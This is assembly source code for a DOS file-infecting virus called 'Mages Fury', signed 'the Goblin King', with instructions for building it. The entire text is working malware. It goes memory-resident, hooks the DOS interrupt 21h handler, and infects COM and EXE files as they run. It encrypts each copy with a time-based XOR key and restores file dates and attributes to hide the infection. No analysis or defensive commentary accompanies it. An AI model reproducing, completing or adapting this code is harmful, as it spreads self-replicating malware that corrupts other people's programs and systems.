; Mages Fury virus by the Goblin King checkres1 'GK' checkres2 'MF' id 'FU' .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK filename.OBJ ; EXE2BIN filename.EXE filename.COM org 0000h start: ENCRYPT: patchstart: mov bx, offset endencrypt mov cx, (heap-endencrypt)/2+1 encrypt_loop: db 002Eh ; cs: db 0081h,0037h ; xor word ptr [bx], xxxx encryptvalue dw 0000h add bx, 0002h loop encrypt_loop endencrypt: call next next: pop bp sub bp, offset next push es push ds mov ax, checkres1 ; Install check int 0021h cmp ax, checkres2 ; Already installed? jz done_install mov ah, 004Ah ; alter memory allocation mov bx, 0FFFFh ; of segment at ES int 0021h sub bx, (endheap-start+15)/16+1 mov ah, 004Ah ; alter memory allocation int 0021h jc done_install sub word ptr ds:[0002h], (endheap-start+15)/16+1 mov ah, 0048h ; Allocate memory for the virus mov bx, (endheap-start+15)/16 int 0021h jc done_install mov es, ax dec ax mov ds, ax ; Get MCB mov byte ptr ds:[0000h], 'Z' ; Mark end of chain mov word ptr ds:[0001h], 0008h ; Mark owner DOS push cs pop ds xor di, di mov cx, (heap-start)/2+1 ; Bytes to move mov si, bp ; lea si,[bp+offset start] rep movsw xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Get old int handler mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Replace with new handler mov ds:[21h*4+2], es ; in high memory done_install: pop es pop ds cmp sp, id jne restore_COM restore_EXE: mov ax, es add ax, 0010h add cs:[bp+word ptr origCSIP+2], ax add ax, cs:[bp+word ptr origSPSS] cli mov ss, ax mov sp, cs:[bp+word ptr origSPSS+2] sti db 00EAh origCSIP db ? old3 db 0cdh,20h,0 origSPSS dd ? restore_COM: mov di, 0100h push di lea si, [bp+offset old3] movsb movsw ret INT24: mov al, 0003h iret int21: push ax push bx push cx push dx push si push di push ds push es cmp ax, 4B00h ; execute? jz execute return: jmp exitint21 execute: mov word ptr cs:filename, dx mov word ptr cs:filename+2, ds mov ax, 3524h int 0021h push es push bx mov ax, 2524h lea dx, INT24 ; ASSumes ds=cs int 0021h push cs pop es lds dx, cs:filename mov ax, 4300h int 0021h jc return push cx push ds push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h lds dx, cs:filename mov ax, 3D02h int 0021h xchg ax, bx push cs pop ds mov ax, 5700h ; get file time/date int 0021h push cx push dx mov cx, 001Ah mov ah, 003Fh mov dx, offset readbuffer int 0021h xor cx, cx mov ax, 4202h cwd int 0021h cmp word ptr [offset readbuffer], 'ZM' jz checkEXE mov cx, word ptr [offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jz jmp_close cmp ax, 0FFDCh ; check if too large ja jmp_close ; Exit if so cmp ax, 01F4h ; check if too small jb jmp_close ; Exit if so mov si, offset readbuffer mov di, offset old3 movsb movsw mov si, ax ; save entry point add si, 0100h mov cx, 0003h sub ax, cx mov word ptr [offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [offset readbuffer], dl jmp short continue_infect checkEXE: cmp word ptr [offset readbuffer+10h], id jnz skipp jmp_close: jmp close skipp: lea si, readbuffer+14h lea di, origCSIP movsw ; Save original CS and IP movsw sub si, 000Ah movsw ; Save original SS and SP movsw push bx ; save file handle mov bx, word ptr [readbuffer+8] ; Header size in paragraphs mov cl, 0004h shl bx, cl push dx ; Save file size on the push ax ; stack sub ax, bx ; File size - Header size sbb dx, 0000h ; DX:AX - BX -> DX:AX mov cx, 0010h div cx ; DX:AX/CX AX Remainder DX mov word ptr [readbuffer+14h], dx ; IP Offset mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment mov word ptr [readbuffer+16h], ax ; Para disp CS in module. mov word ptr [readbuffer+10h], id ; Initial SP mov si, dx ; save entry point pop ax ; Filelength in DX:AX pop dx add ax, heap-start adc dx, 0000h mov cl, 0009h push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 0001h mov word ptr [readbuffer+2], ax ; the EXE header. mov word ptr [readbuffer+4], dx ; Fix-up the file size in pop bx ; restore file handle mov cx, 001Ah continue_infect: push cx ; save # bytes to write get_encrypt_value: mov ah, 002Ch ; Get current time int 0021h or dx, dx ; Check if encryption value = 0 jz get_encrypt_value ; Get another if it = 0 add si, (offset endencrypt-offset encrypt) mov word ptr ds:[patchstart+1], si mov word ptr ds:[encryptvalue], dx mov si, offset ENCRYPT mov di, offset encryptbuffer mov cx, (heap-encrypt)/2 push si rep movsw ; copy virus to buffer mov ax, offset endencrypt-encrypt+encryptbuffer mov word ptr ds:[patchstart+1], ax pop si push offset endencrypt mov byte ptr [offset endencrypt], 00C3h ; retn push bx call si ; encrypt virus in buffer pop bx pop word ptr [offset endencrypt] mov ah, 0040h mov cx, heap-encrypt mov dx, offset encryptbuffer int 0021h xor cx, cx xor dx, dx mov ax, 4200h int 0021h mov ah, 0040h mov dx, offset readbuffer pop cx int 0021h close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; restore file attributes pop dx ; get filename and pop ds pop cx ; attributes from stack int 0021h pop dx pop ds mov ax, 2524h int 0021h exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax db 00EAh ; return to original handler oldint21 dd ? signature db '[GK/MF]',0 ; the Goblin King's signature creator db 'the Goblin King',0 virusname db 'Mages Fury virus',0 heap: encryptbuffer db (heap-encrypt)+1 dup (?) filename dd ? readbuffer db 1ah dup (?) endheap: end start